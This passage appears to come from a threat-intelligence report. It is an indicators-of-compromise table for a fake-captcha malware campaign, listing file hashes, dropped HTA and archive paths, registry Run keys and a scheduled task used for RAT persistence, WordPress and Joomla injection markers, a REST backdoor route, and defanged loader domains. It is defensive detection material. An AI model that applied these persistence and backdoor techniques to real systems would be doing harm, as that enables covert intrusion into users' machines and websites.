legacy-partial.js 73786d1b47bfbbbc1183da7c90d01ffbedd57bae8c0e7db7dcc72fab59f90be0 321,007 bytes; news.pieset[.]co, 15 October
legacy-partial.js bd1b453e98e0877d2ecb4a54a0631a30cb86b0012e01575cd4164404fdacc7b5 Identical to 14 October overlay except command string
NHEWS.hta 606023fd6018fb2e34df742e0d8456c2fe75a71738dd844a99365e13c3e728c3 66,558 bytes; ~64 KB random comment padding
PROSSS.hta f401555d44747c10c0b29d7d307c54cdf62ccb6e69ceb33ccbd72872838d8faa 79,383 bytes; 29 September set, public sample archive, decoded statically

Host and Browser

Type Value Note
File path %LOCALAPPDATA%\NHEWS.hta Written by curl; name set per overlay build, same in both overlays
File path %LOCALAPPDATA%\<digits>\<digits>.pdf Random numeric names from the HTA stager; archive, not a PDF; 29 September set used Documents\<digits>\<digits>.pdf
File path Documents\<digits>\KCrashReporter_x64.exe with RwcShl64.dll, drive4.dll, libservice-blender.dll Extracted Qt5/SDL3 bundle of the 29 September set; one of the three DLLs is side-loaded
Registry HKCU\Software\Microsoft\Windows\CurrentVersion\Run value XnView Crash Reporter RAT persistence, 29 September set; points into Documents\<digits>\
Scheduled task \XnView Crash Reporter, logon trigger, 3 s delay RAT persistence, 29 September set; same target as the Run value
Registry HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU value containing /v:on and -skLo Pasted clipboard command from the Win+R step
localStorage key ENV_201021, ENV_20102142 Loader timestamp, 24-hour lock; name changes per loader build
localStorage key cf-used-at Overlay re-display lock, removed by the loader
DOM string <style id="captcha-css"> Tailwind CSS injected by the overlay

Compromised Site

Type Value Note
Joomla database Script tag in #__menu attribute or CSS class field, followed by "&gt; Appears in every sp-menu-item (Helix Ultimate); old and new loader tags side by side
WordPress DOM marker <span hidden data-wal-hash="<md5>"> Before </body>, followed by loader tag and inline sync script
WordPress DOM marker <span hidden data-wsm-hash="<md5>"> Variant on four sites
REST route /wp-json/wal/v1/footer, index.php?rest_route=/wal/v1/footer WordPress REST backdoor, returns {content, hash}
REST route /wp-json/wsm/v1/footer Variant
MD5 (loader tag) d0ccee18f7f5d699e279e3b5986e2a25 sallowcloister[.]co
MD5 (loader tag) 55675e2901720a13829744f46bab09bc cloveranthology[.]org
MD5 (loader tag) e0bbdf33ca66834161d12abbbf95a7a9 planetreeapse[.]co
MD5 (loader tag) 5ce0d4c88b56beb6bca62528c8e93da1 ginkgoloft[.]co
MD5 (loader tag) ccbb15afe89c0d36d6d6f485d5373db5 aspentraverse[.]co
MD5 (loader tag) 4770b8f9e5c47563ee61491b609164b2 bayberrygalleon[.]cc
MD5 (loader tag) 8c5548205e01cba6f8603d4298d0402e bayberrygalleon[.]cc
MD5 (loader tag) aaa378a43374401abd74372362fe86f5 ginkgoloft[.]co (wsm variant)